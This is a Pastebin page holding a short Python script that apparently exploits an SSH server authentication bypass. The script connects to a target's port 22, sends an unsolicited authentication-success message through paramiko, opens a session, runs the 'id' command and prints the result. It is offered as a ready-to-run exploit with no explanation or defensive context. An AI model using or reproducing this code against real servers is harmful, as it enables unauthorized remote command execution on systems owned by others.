Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python3
- import sys
- import paramiko
- import socket
- s = socket.socket()
- s.connect((sys.argv[1],22))
- m = paramiko.message.Message()
- t = paramiko.transport.Transport(s)
- t.start_client()
- m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
- t._send_message(m)
- c = t.open_session(timeout=5)
- c.exec_command("id")
- out = c.makefile("rb",2048)
- output = out.read()
- out.close()
- print (output)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement